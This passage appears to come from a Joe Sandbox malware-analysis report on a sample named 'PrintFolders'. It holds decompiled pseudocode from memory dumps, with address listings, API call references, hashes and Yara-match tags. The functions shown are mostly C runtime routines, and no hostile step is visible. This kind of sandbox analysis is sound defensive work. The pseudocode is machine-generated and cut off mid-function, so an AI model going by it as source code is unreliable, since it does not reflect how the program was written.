                                                          									 *(_t111 - 4) = 0xfffffffe;
                                                          									_t53 = _t75;
                                                          									L31:
                                                          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
                                                          									return _t53;
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						goto L30;
                                                          					}
                                                          				}
                                                          			}



















                                                          0x00411ebb
                                                          0x00411ebd
                                                          0x00411ec2
                                                          0x00411ec7
                                                          0x00411ec9
                                                          0x00411ecc
                                                          0x00411ed1
                                                          0x00411fe1
                                                          0x00411fe1
                                                          0x00411fe1
                                                          0x00000000
                                                          0x00411ee0
                                                          0x00411ee0
                                                          0x00411ee5
                                                          0x00411eef
                                                          0x00411ef1
                                                          0x00411ef6
                                                          0x00411efb
                                                          0x00411efb
                                                          0x00411efd
                                                          0x00411f00
                                                          0x00411f05
                                                          0x00411f27
                                                          0x00411f27
                                                          0x00411f2a
                                                          0x00411f2d
                                                          0x00411f4b
                                                          0x00411f4e
                                                          0x00411f8d
                                                          0x00411f90
                                                          0x00411f93
                                                          0x00411fb8
                                                          0x00411fba
                                                          0x00000000
                                                          0x00411fbc
                                                          0x00411fbc
                                                          0x00411fbe
                                                          0x00000000
                                                          0x00411fc0
                                                          0x00411fc0
                                                          0x00411fc5
                                                          0x00411fc9
                                                          0x00411fc9
                                                          0x00411fca
                                                          0x00000000
                                                          0x00411fca
                                                          0x00411fbe
                                                          0x00411f95
                                                          0x00411f95
                                                          0x00411f97
                                                          0x00000000
                                                          0x00411f99
                                                          0x00411f99
                                                          0x00411f9b
                                                          0x00000000
                                                          0x00411f9d
                                                          0x00411fae
                                                          0x00000000
                                                          0x00411fb3
                                                          0x00411f9b
                                                          0x00411f97
                                                          0x00411f50
                                                          0x00411f50
                                                          0x00411f54
                                                          0x00000000
                                                          0x00411f5a
                                                          0x00411f5a
                                                          0x00411f5c
                                                          0x00000000
                                                          0x00411f62
                                                          0x00411f69
                                                          0x00411f71
                                                          0x00411f75
                                                          0x00411f77
                                                          0x00411f7a
                                                          0x00411f7f
                                                          0x00411f80
                                                          0x00000000
                                                          0x00411f80
                                                          0x00411f7a
                                                          0x00000000
                                                          0x00411f75
                                                          0x00411f5c
                                                          0x00411f54
                                                          0x00411f2f
                                                          0x00411f2f
                                                          0x00000000
                                                          0x00411f2f
                                                          0x00411f0c
                                                          0x00411f0c
                                                          0x00411f11
                                                          0x00411f16
                                                          0x00000000
                                                          0x00411f18
                                                          0x00411f1a
                                                          0x00411f23
                                                          0x00411f32
                                                          0x00411f34
                                                          0x00411ff3
                                                          0x00411ff3
                                                          0x00411ff8
                                                          0x00411ff9
                                                          0x00411ffb
                                                          0x00412000
                                                          0x00412005
                                                          0x00412008
                                                          0x0041200b
                                                          0x0041200e
                                                          0x00412017
                                                          0x00412017
                                                          0x00412010
                                                          0x00412010
                                                          0x00412010
                                                          0x0041201a
                                                          0x0041201e
                                                          0x00412021
                                                          0x00412022
                                                          0x00412023
                                                          0x00412024
                                                          0x00412027
                                                          0x00412030
                                                          0x00412030
                                                          0x00412033
                                                          0x00412069
                                                          0x00412035
                                                          0x00412035
                                                          0x00412035
                                                          0x00412038
                                                          0x0041204f
                                                          0x0041204f
                                                          0x00412038
                                                          0x0041206e
                                                          0x00412078
                                                          0x00412084
                                                          0x00411f42
                                                          0x00411f42
                                                          0x00411f47
                                                          0x00411f48
                                                          0x00411f82
                                                          0x00411f89
                                                          0x00411fcd
                                                          0x00411fcd
                                                          0x00411fd4
                                                          0x00411fe3
                                                          0x00411fe6
                                                          0x00411ff2
                                                          0x00411ff2
                                                          0x00411f34
                                                          0x00411f16
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00411ee5

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AdjustPointer
                                                          • String ID:
                                                          • API String ID: 1740715915-0
                                                          • Opcode ID: 0ca896192a9c401899d42e9f7ec41fae97fe56b9a9dc6cb600518f1b51295347
                                                          • Instruction ID: 6bd07d1b73092418ee2073320d9761de18afaf30efd0c82ef62646a350b6d03e
                                                          • Opcode Fuzzy Hash: 0ca896192a9c401899d42e9f7ec41fae97fe56b9a9dc6cb600518f1b51295347
                                                          • Instruction Fuzzy Hash: 63510172605206AFDB289F51D881BFA77A4FF04304F14012FEA05976A1D779ECC2CB98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E100049CA(void* __ebx, void* __edi, void* __esi, void* __eflags) {
                                                          				signed int* _t52;
                                                          				signed int _t53;
                                                          				intOrPtr _t54;
                                                          				signed int _t58;
                                                          				signed int _t61;
                                                          				intOrPtr _t71;
                                                          				signed int _t75;
                                                          				signed int _t79;
                                                          				signed int _t81;
                                                          				signed int _t84;
                                                          				signed int _t85;
                                                          				signed int _t97;
                                                          				signed int* _t98;
                                                          				signed char* _t101;
                                                          				signed int _t107;
                                                          				void* _t111;
                                                          
                                                          				_push(0x10);
                                                          				_push(0x10015860);
                                                          				E10003C50(__ebx, __edi, __esi);
                                                          				_t75 = 0;
                                                          				_t52 =  *(_t111 + 0x10);
                                                          				_t81 = _t52[1];
                                                          				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
                                                          					L30:
                                                          					_t53 = 0;
                                                          					__eflags = 0;
                                                          					goto L31;
                                                          				} else {
                                                          					_t97 = _t52[2];
                                                          					if(_t97 != 0 ||  *_t52 < 0) {
                                                          						_t84 =  *_t52;
                                                          						_t107 =  *(_t111 + 0xc);
                                                          						if(_t84 >= 0) {
                                                          							_t107 = _t107 + 0xc + _t97;
                                                          						}
                                                          						 *(_t111 - 4) = _t75;
                                                          						_t101 =  *(_t111 + 0x14);
                                                          						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
                                                          							L10:
                                                          							_t54 =  *((intOrPtr*)(_t111 + 8));
                                                          							__eflags = _t84 & 0x00000008;
                                                          							if((_t84 & 0x00000008) == 0) {
                                                          								__eflags =  *_t101 & 0x00000001;
                                                          								if(( *_t101 & 0x00000001) == 0) {
                                                          									_t84 =  *(_t54 + 0x18);
                                                          									__eflags = _t101[0x18] - _t75;
                                                          									if(_t101[0x18] != _t75) {
                                                          										__eflags = _t84;
                                                          										if(_t84 == 0) {
                                                          											goto L32;
                                                          										} else {
                                                          											__eflags = _t107;
                                                          											if(_t107 == 0) {
                                                          												goto L32;
                                                          											} else {
                                                          												__eflags =  *_t101 & 0x00000004;
                                                          												_t79 = 0;
                                                          												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
                                                          												__eflags = _t75;
                                                          												 *(_t111 - 0x20) = _t75;
                                                          												goto L29;
                                                          											}
                                                          										}
                                                          									} else {
                                                          										__eflags = _t84;
                                                          										if(_t84 == 0) {
                                                          											goto L32;
                                                          										} else {
                                                          											__eflags = _t107;
                                                          											if(_t107 == 0) {
                                                          												goto L32;
                                                          											} else {
                                                          												E10005BC0(_t107, E1000435B(_t84,  &(_t101[8])), _t101[0x14]);
                                                          												goto L29;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									__eflags =  *(_t54 + 0x18);
                                                          									if( *(_t54 + 0x18) == 0) {
                                                          										goto L32;
                                                          									} else {
                                                          										__eflags = _t107;
                                                          										if(_t107 == 0) {
                                                          											goto L32;
                                                          										} else {
                                                          											E10005BC0(_t107,  *(_t54 + 0x18), _t101[0x14]);
                                                          											__eflags = _t101[0x14] - 4;
                                                          											if(_t101[0x14] == 4) {
                                                          												__eflags =  *_t107;
                                                          												if( *_t107 != 0) {
                                                          													_push( &(_t101[8]));
                                                          													_push( *_t107);
                                                          													goto L21;
                                                          												}
                                                          											}
                                                          											goto L29;
                                                          										}
                                                          									}
                                                          								}
                                                          							} else {
                                                          								_t84 =  *(_t54 + 0x18);
                                                          								goto L12;
                                                          							}
                                                          						} else {
                                                          							_t71 =  *0x10017cd4; // 0x0
                                                          							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
                                                          							if(_t71 == 0) {
                                                          								goto L10;
                                                          							} else {
                                                          								 *0x10010164();
                                                          								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
                                                          								L12:
                                                          								if(_t84 == 0 || _t107 == 0) {
                                                          									L32:
                                                          									E100076E4(_t75, _t84, _t97, _t101, _t107);
                                                          									asm("int3");
                                                          									_push(8);
                                                          									_push(0x10015880);
                                                          									E10003C50(_t75, _t101, _t107);
                                                          									_t98 =  *(_t111 + 0x10);
                                                          									_t85 =  *(_t111 + 0xc);
                                                          									__eflags =  *_t98;
                                                          									if(__eflags >= 0) {
                                                          										_t103 = _t85 + 0xc + _t98[2];
                                                          										__eflags = _t85 + 0xc + _t98[2];
                                                          									} else {
                                                          										_t103 = _t85;
                                                          									}
                                                          									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
                                                          									_t108 =  *(_t111 + 0x14);
                                                          									_push( *(_t111 + 0x14));
                                                          									_push(_t98);
                                                          									_push(_t85);
                                                          									_t77 =  *((intOrPtr*)(_t111 + 8));
                                                          									_push( *((intOrPtr*)(_t111 + 8)));
                                                          									_t58 = E100049CA(_t77, _t103, _t108, __eflags) - 1;
                                                          									__eflags = _t58;
                                                          									if(_t58 == 0) {
                                                          										_t61 = E100056CA(_t103, _t108[0x18], E1000435B( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
                                                          									} else {
                                                          										_t61 = _t58 - 1;
                                                          										__eflags = _t61;
                                                          										if(_t61 == 0) {
                                                          											_t61 = E100056DA(_t103, _t108[0x18], E1000435B( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
                                                          										}
                                                          									}
                                                          									 *(_t111 - 4) = 0xfffffffe;
                                                          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
                                                          									return _t61;
                                                          								} else {
                                                          									 *_t107 = _t84;
                                                          									_push( &(_t101[8]));
                                                          									_push(_t84);
                                                          									L21:
                                                          									 *_t107 = E1000435B();
                                                          									L29:
                                                          									 *(_t111 - 4) = 0xfffffffe;
                                                          									_t53 = _t75;
                                                          									L31:
                                                          									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
                                                          									return _t53;
                                                          								}
                                                          							}
                                                          						}
                                                          					} else {
                                                          						goto L30;
                                                          					}
                                                          				}
                                                          			}



















                                                          0x100049ca
                                                          0x100049cc
                                                          0x100049d1
                                                          0x100049d6
                                                          0x100049d8
                                                          0x100049db
                                                          0x100049e0
                                                          0x10004af0
                                                          0x10004af0
                                                          0x10004af0
                                                          0x00000000
                                                          0x100049ef
                                                          0x100049ef
                                                          0x100049f4
                                                          0x100049fe
                                                          0x10004a00
                                                          0x10004a05
                                                          0x10004a0a
                                                          0x10004a0a
                                                          0x10004a0c
                                                          0x10004a0f
                                                          0x10004a14
                                                          0x10004a36
                                                          0x10004a36
                                                          0x10004a39
                                                          0x10004a3c
                                                          0x10004a5a
                                                          0x10004a5d
                                                          0x10004a9c
                                                          0x10004a9f
                                                          0x10004aa2
                                                          0x10004ac7
                                                          0x10004ac9
                                                          0x00000000
                                                          0x10004acb
                                                          0x10004acb
                                                          0x10004acd
                                                          0x00000000
                                                          0x10004acf
                                                          0x10004acf
                                                          0x10004ad4
                                                          0x10004ad8
                                                          0x10004ad8
                                                          0x10004ad9
                                                          0x00000000
                                                          0x10004ad9
                                                          0x10004acd
                                                          0x10004aa4
                                                          0x10004aa4
                                                          0x10004aa6
                                                          0x00000000
                                                          0x10004aa8
                                                          0x10004aa8
                                                          0x10004aaa
                                                          0x00000000
                                                          0x10004aac
                                                          0x10004abd
                                                          0x00000000
                                                          0x10004ac2
                                                          0x10004aaa
                                                          0x10004aa6
                                                          0x10004a5f
                                                          0x10004a5f
                                                          0x10004a63
                                                          0x00000000
                                                          0x10004a69
                                                          0x10004a69
                                                          0x10004a6b
                                                          0x00000000
                                                          0x10004a71
                                                          0x10004a78
                                                          0x10004a80
                                                          0x10004a84
                                                          0x10004a86
                                                          0x10004a89
                                                          0x10004a8e
                                                          0x10004a8f
                                                          0x00000000
                                                          0x10004a8f
                                                          0x10004a89
                                                          0x00000000
                                                          0x10004a84
                                                          0x10004a6b
                                                          0x10004a63
                                                          0x10004a3e
                                                          0x10004a3e
                                                          0x00000000
                                                          0x10004a3e
                                                          0x10004a1b
                                                          0x10004a1b
                                                          0x10004a20
                                                          0x10004a25
                                                          0x00000000
                                                          0x10004a27
                                                          0x10004a29
                                                          0x10004a32
                                                          0x10004a41
                                                          0x10004a43
                                                          0x10004b02
                                                          0x10004b02
                                                          0x10004b07
                                                          0x10004b08
                                                          0x10004b0a
                                                          0x10004b0f
                                                          0x10004b14
                                                          0x10004b17
                                                          0x10004b1a
                                                          0x10004b1d
                                                          0x10004b26
                                                          0x10004b26
                                                          0x10004b1f
                                                          0x10004b1f
                                                          0x10004b1f
                                                          0x10004b29
                                                          0x10004b2d
                                                          0x10004b30
                                                          0x10004b31
                                                          0x10004b32
                                                          0x10004b33
                                                          0x10004b36
                                                          0x10004b3f
                                                          0x10004b3f
                                                          0x10004b42
                                                          0x10004b78
                                                          0x10004b44
                                                          0x10004b44
                                                          0x10004b44
                                                          0x10004b47
                                                          0x10004b5e
                                                          0x10004b5e
                                                          0x10004b47
                                                          0x10004b7d
                                                          0x10004b87
                                                          0x10004b93
                                                          0x10004a51
                                                          0x10004a51
                                                          0x10004a56
                                                          0x10004a57
                                                          0x10004a91
                                                          0x10004a98
                                                          0x10004adc
                                                          0x10004adc
                                                          0x10004ae3
                                                          0x10004af2
                                                          0x10004af5
                                                          0x10004b01
                                                          0x10004b01
                                                          0x10004a43
                                                          0x10004a25
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100049f4

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: AdjustPointer
                                                          • String ID:
                                                          • API String ID: 1740715915-0
                                                          • Opcode ID: d7e06759a182467ecbddfc5be9e71537fdf669dd7d98f9716886f151031a7616
                                                          • Instruction ID: c86ceda4d1325f0568557c1dae7b0478574bf977d686f1191d636807e4b9891e
                                                          • Opcode Fuzzy Hash: d7e06759a182467ecbddfc5be9e71537fdf669dd7d98f9716886f151031a7616
                                                          • Instruction Fuzzy Hash: 5D5103B6A04606AFFB18CF50C841B6A77A4EF403D1F12412DED0687199EF32EC40C799
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 94%
                                                          			E0042B33E(signed int __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _v12;
                                                          				intOrPtr _v20;
                                                          				int _v24;
                                                          				int _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				signed int _v40;
                                                          				signed int _v44;
                                                          				int _t30;
                                                          				signed int _t31;
                                                          				intOrPtr* _t36;
                                                          				int _t40;
                                                          				int _t41;
                                                          				void* _t42;
                                                          				void* _t54;
                                                          				void* _t56;
                                                          				signed int _t58;
                                                          				intOrPtr _t59;
                                                          				int _t60;
                                                          				void* _t62;
                                                          				void* _t63;
                                                          				int _t68;
                                                          
                                                          				_t58 = __edx;
                                                          				_t50 = _a4;
                                                          				E0042B2F1( &_v44, __edx, _a4, _a8, _a12);
                                                          				if((_v44 & _v40) == 0xffffffff || (_v36 & _v32) == 0xffffffff) {
                                                          					L28:
                                                          					_t59 =  *((intOrPtr*)(E004135F1(__eflags)));
                                                          					goto L29;
                                                          				} else {
                                                          					_t30 = _v24;
                                                          					_t60 = _v28;
                                                          					_v8 = _t30;
                                                          					_t68 = _t30;
                                                          					if(_t68 < 0) {
                                                          						L25:
                                                          						_t31 = E0041D158(_t50, _a8, _a12, 0);
                                                          						_t63 = _t63 + 0x10;
                                                          						__eflags = (_t31 & _t58) - 0xffffffff;
                                                          						if(__eflags == 0) {
                                                          							goto L28;
                                                          						}
                                                          						__eflags = SetEndOfFile(E004255B2(_t50));
                                                          						if(__eflags != 0) {
                                                          							L18:
                                                          							_t59 = 0;
                                                          							L29:
                                                          							E0041D158(_v20, _v44, _v40, 0);
                                                          							return _t59;
                                                          						}
                                                          						 *((intOrPtr*)(E004135F1(__eflags))) = 0xd;
                                                          						_t36 = E004135DE(__eflags);
                                                          						 *_t36 = GetLastError();
                                                          						goto L28;
                                                          					}
                                                          					if(_t68 > 0 || _t60 != 0) {
                                                          						_t62 = E0041E25B(0x1000, 1);
                                                          						_pop(_t54);
                                                          						_t70 = _t62;
                                                          						if(_t62 != 0) {
                                                          							_v12 = E0041AEDA(_t54, _t50, 0x8000);
                                                          							_t40 = _v24;
                                                          							_pop(_t56);
                                                          							do {
                                                          								__eflags = _t40;
                                                          								if(__eflags < 0) {
                                                          									L12:
                                                          									_t41 = _t60;
                                                          									L13:
                                                          									_t42 = E00421028(_t50, _t62, _t41);
                                                          									_t63 = _t63 + 0xc;
                                                          									__eflags = _t42 - 0xffffffff;
                                                          									if(__eflags == 0) {
                                                          										__eflags =  *((intOrPtr*)(E004135DE(__eflags))) - 5;
                                                          										if(__eflags == 0) {
                                                          											 *((intOrPtr*)(E004135F1(__eflags))) = 0xd;
                                                          										}
                                                          										L21:
                                                          										_t59 =  *((intOrPtr*)(E004135F1(_t70)));
                                                          										E0041E2B8(_t62);
                                                          										goto L29;
                                                          									}
                                                          									asm("cdq");
                                                          									_t60 = _t60 - _t42;
                                                          									_t40 = _v8;
                                                          									asm("sbb eax, edx");
                                                          									_v8 = _t40;
                                                          									__eflags = _t40;
                                                          									if(__eflags > 0) {
                                                          										L11:
                                                          										_t41 = 0x1000;
                                                          										goto L13;
                                                          									}
                                                          									if(__eflags < 0) {
                                                          										break;
                                                          									}
                                                          									goto L16;
                                                          								}
                                                          								if(__eflags > 0) {
                                                          									goto L11;
                                                          								}
                                                          								__eflags = _t60 - 0x1000;
                                                          								if(_t60 < 0x1000) {
                                                          									goto L12;
                                                          								}
                                                          								goto L11;
                                                          								L16:
                                                          								__eflags = _t60;
                                                          							} while (_t60 != 0);
                                                          							E0041AEDA(_t56, _t50, _v12);
                                                          							E0041E2B8(_t62);
                                                          							_t63 = _t63 + 0xc;
                                                          							goto L18;
                                                          						}
                                                          						 *((intOrPtr*)(E004135F1(_t70))) = 0xc;
                                                          						goto L21;
                                                          					} else {
                                                          						__eflags = _t30;
                                                          						if(__eflags > 0) {
                                                          							goto L18;
                                                          						}
                                                          						if(__eflags < 0) {
                                                          							goto L25;
                                                          						}
                                                          						__eflags = _t60;
                                                          						if(_t60 >= 0) {
                                                          							goto L18;
                                                          						}
                                                          						goto L25;
                                                          					}
                                                          				}
                                                          			}


























                                                          0x0042b33e
                                                          0x0042b347
                                                          0x0042b356
                                                          0x0042b364
                                                          0x0042b48d
                                                          0x0042b492
                                                          0x00000000
                                                          0x0042b379
                                                          0x0042b379
                                                          0x0042b37c
                                                          0x0042b37f
                                                          0x0042b382
                                                          0x0042b384
                                                          0x0042b449
                                                          0x0042b452
                                                          0x0042b459
                                                          0x0042b45c
                                                          0x0042b45f
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b46f
                                                          0x0042b471
                                                          0x0042b416
                                                          0x0042b416
                                                          0x0042b494
                                                          0x0042b49f
                                                          0x0042b4ad
                                                          0x0042b4ad
                                                          0x0042b478
                                                          0x0042b47e
                                                          0x0042b48b
                                                          0x00000000
                                                          0x0042b48b
                                                          0x0042b38a
                                                          0x0042b3a0
                                                          0x0042b3a3
                                                          0x0042b3a4
                                                          0x0042b3a6
                                                          0x0042b3c1
                                                          0x0042b3c4
                                                          0x0042b3c7
                                                          0x0042b3c8
                                                          0x0042b3c8
                                                          0x0042b3ca
                                                          0x0042b3dd
                                                          0x0042b3dd
                                                          0x0042b3df
                                                          0x0042b3e2
                                                          0x0042b3e7
                                                          0x0042b3ea
                                                          0x0042b3ed
                                                          0x0042b41f
                                                          0x0042b422
                                                          0x0042b429
                                                          0x0042b429
                                                          0x0042b42f
                                                          0x0042b435
                                                          0x0042b437
                                                          0x00000000
                                                          0x0042b43c
                                                          0x0042b3ef
                                                          0x0042b3f0
                                                          0x0042b3f2
                                                          0x0042b3f5
                                                          0x0042b3f7
                                                          0x0042b3fa
                                                          0x0042b3fc
                                                          0x0042b3d6
                                                          0x0042b3d6
                                                          0x00000000
                                                          0x0042b3d6
                                                          0x0042b3fe
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b3fe
                                                          0x0042b3cc
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b3ce
                                                          0x0042b3d4
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b400
                                                          0x0042b400
                                                          0x0042b400
                                                          0x0042b408
                                                          0x0042b40e
                                                          0x0042b413
                                                          0x00000000
                                                          0x0042b413
                                                          0x0042b3ad
                                                          0x00000000
                                                          0x0042b43f
                                                          0x0042b43f
                                                          0x0042b441
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b443
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b445
                                                          0x0042b447
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042b447
                                                          0x0042b38a

                                                          APIs
                                                          • _free.LIBCMT ref: 0042B40E
                                                          • _free.LIBCMT ref: 0042B437
                                                          • SetEndOfFile.KERNEL32(00000000,0042860C,00000000,0041E0F8,?,?,?,?,?,?,?,0042860C,0041E0F8,00000000), ref: 0042B469
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,0042860C,0041E0F8,00000000,?,?,?,?,00000000), ref: 0042B485
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorFileLast
                                                          • String ID:
                                                          • API String ID: 1547350101-0
                                                          • Opcode ID: de3f6e69295ed1edb17ce482ba4b705cbafdd08ef7baa43635d14e82ea768746
                                                          • Instruction ID: 617302695e0eac8ad5dd037765c23ffc959c8119500e3a216ad439764ca44a70
                                                          • Opcode Fuzzy Hash: de3f6e69295ed1edb17ce482ba4b705cbafdd08ef7baa43635d14e82ea768746
                                                          • Instruction Fuzzy Hash: 59411C72B00625ABDB11AFAA9C82B9E3779EF44324F54011BF814D7292D77CC98147AD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00423B6F(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
                                                          				intOrPtr _t16;
                                                          				intOrPtr _t17;
                                                          				intOrPtr _t19;
                                                          				intOrPtr _t29;
                                                          				char _t31;
                                                          				intOrPtr _t38;
                                                          				intOrPtr* _t40;
                                                          				intOrPtr _t41;
                                                          
                                                          				_t40 = _a4;
                                                          				if(_t40 != 0) {
                                                          					_t31 = 0;
                                                          					__eflags =  *_t40;
                                                          					if( *_t40 != 0) {
                                                          						_t16 = E00420094(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
                                                          						__eflags = _t16;
                                                          						if(__eflags != 0) {
                                                          							_t38 = _a8;
                                                          							__eflags = _t16 -  *((intOrPtr*)(_t38 + 0xc));
                                                          							if(__eflags <= 0) {
                                                          								L11:
                                                          								_t17 = E00420094(_a16, _t31, _t40, 0xffffffff,  *((intOrPtr*)(_t38 + 8)),  *((intOrPtr*)(_t38 + 0xc)), _t31, _t31);
                                                          								__eflags = _t17;
                                                          								if(__eflags != 0) {
                                                          									 *((intOrPtr*)(_t38 + 0x10)) = _t17 - 1;
                                                          									_t19 = 0;
                                                          									__eflags = 0;
                                                          								} else {
                                                          									E004135BB(GetLastError());
                                                          									_t19 =  *((intOrPtr*)(E004135F1(__eflags)));
                                                          								}
                                                          								L14:
                                                          								return _t19;
                                                          							}
                                                          							_t19 = E00424135(_t38, __eflags, _t16);
                                                          							__eflags = _t19;
                                                          							if(_t19 != 0) {
                                                          								goto L14;
                                                          							}
                                                          							goto L11;
                                                          						}
                                                          						E004135BB(GetLastError());
                                                          						return  *((intOrPtr*)(E004135F1(__eflags)));
                                                          					}
                                                          					_t41 = _a8;
                                                          					__eflags =  *((intOrPtr*)(_t41 + 0xc));
                                                          					if(__eflags != 0) {
                                                          						L6:
                                                          						 *((char*)( *((intOrPtr*)(_t41 + 8)))) = _t31;
                                                          						L2:
                                                          						 *((intOrPtr*)(_t41 + 0x10)) = _t31;
                                                          						return 0;
                                                          					}
                                                          					_t29 = E00424135(_t41, __eflags, 1);
                                                          					__eflags = _t29;
                                                          					if(_t29 != 0) {
                                                          						return _t29;
                                                          					}
                                                          					goto L6;
                                                          				}
                                                          				_t41 = _a8;
                                                          				E00419D78(_t41);
                                                          				_t31 = 0;
                                                          				 *((intOrPtr*)(_t41 + 8)) = 0;
                                                          				 *((intOrPtr*)(_t41 + 0xc)) = 0;
                                                          				goto L2;
                                                          			}











                                                          0x00423b76
                                                          0x00423b7b
                                                          0x00423b99
                                                          0x00423b9b
                                                          0x00423b9e
                                                          0x00423bcb
                                                          0x00423bd3
                                                          0x00423bd5
                                                          0x00423bee
                                                          0x00423bf1
                                                          0x00423bf4
                                                          0x00423c02
                                                          0x00423c11
                                                          0x00423c19
                                                          0x00423c1b
                                                          0x00423c34
                                                          0x00423c37
                                                          0x00423c37
                                                          0x00423c1d
                                                          0x00423c24
                                                          0x00423c2f
                                                          0x00423c2f
                                                          0x00423c39
                                                          0x00000000
                                                          0x00423c39
                                                          0x00423bf9
                                                          0x00423bfe
                                                          0x00423c00
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00423c00
                                                          0x00423bde
                                                          0x00000000
                                                          0x00423be9
                                                          0x00423ba0
                                                          0x00423ba3
                                                          0x00423ba6
                                                          0x00423bb9
                                                          0x00423bbc
                                                          0x00423b8f
                                                          0x00423b8f
                                                          0x00000000
                                                          0x00423b92
                                                          0x00423bac
                                                          0x00423bb1
                                                          0x00423bb3
                                                          0x00423c3d
                                                          0x00423c3d
                                                          0x00000000
                                                          0x00423bb3
                                                          0x00423b7d
                                                          0x00423b82
                                                          0x00423b87
                                                          0x00423b89
                                                          0x00423b8c
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 00419D78: _free.LIBCMT ref: 00419D86
                                                            • Part of subcall function 00420094: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,004213AE,?,00000000,00000000), ref: 00420140
                                                          • GetLastError.KERNEL32 ref: 00423BD7
                                                          • __dosmaperr.LIBCMT ref: 00423BDE
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00423C1D
                                                          • __dosmaperr.LIBCMT ref: 00423C24
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
                                                          • String ID:
                                                          • API String ID: 167067550-0
                                                          • Opcode ID: acb329c430d9d65b703508cc3e81db56fa1fb9c9c168a09e4ae2cbd405f6ca47
                                                          • Instruction ID: faa5b2d0112470651306ec9e949e2660e7ba13f531a9181b1b827704a780be5a
                                                          • Opcode Fuzzy Hash: acb329c430d9d65b703508cc3e81db56fa1fb9c9c168a09e4ae2cbd405f6ca47
                                                          • Instruction Fuzzy Hash: 8021F472300229AFDB205F67AC81D6BBBBDEF00369790851EF91597241D73CEE418798
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E100092C2(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
                                                          				intOrPtr _t16;
                                                          				intOrPtr _t17;
                                                          				intOrPtr _t19;
                                                          				intOrPtr _t29;
                                                          				char _t31;
                                                          				intOrPtr _t38;
                                                          				intOrPtr* _t40;
                                                          				intOrPtr _t41;
                                                          
                                                          				_t40 = _a4;
                                                          				if(_t40 != 0) {
                                                          					_t31 = 0;
                                                          					__eflags =  *_t40;
                                                          					if( *_t40 != 0) {
                                                          						_t16 = E1000A4B8(_a16, 0, _t40, 0xffffffff, 0, 0, 0, 0);
                                                          						__eflags = _t16;
                                                          						if(__eflags != 0) {
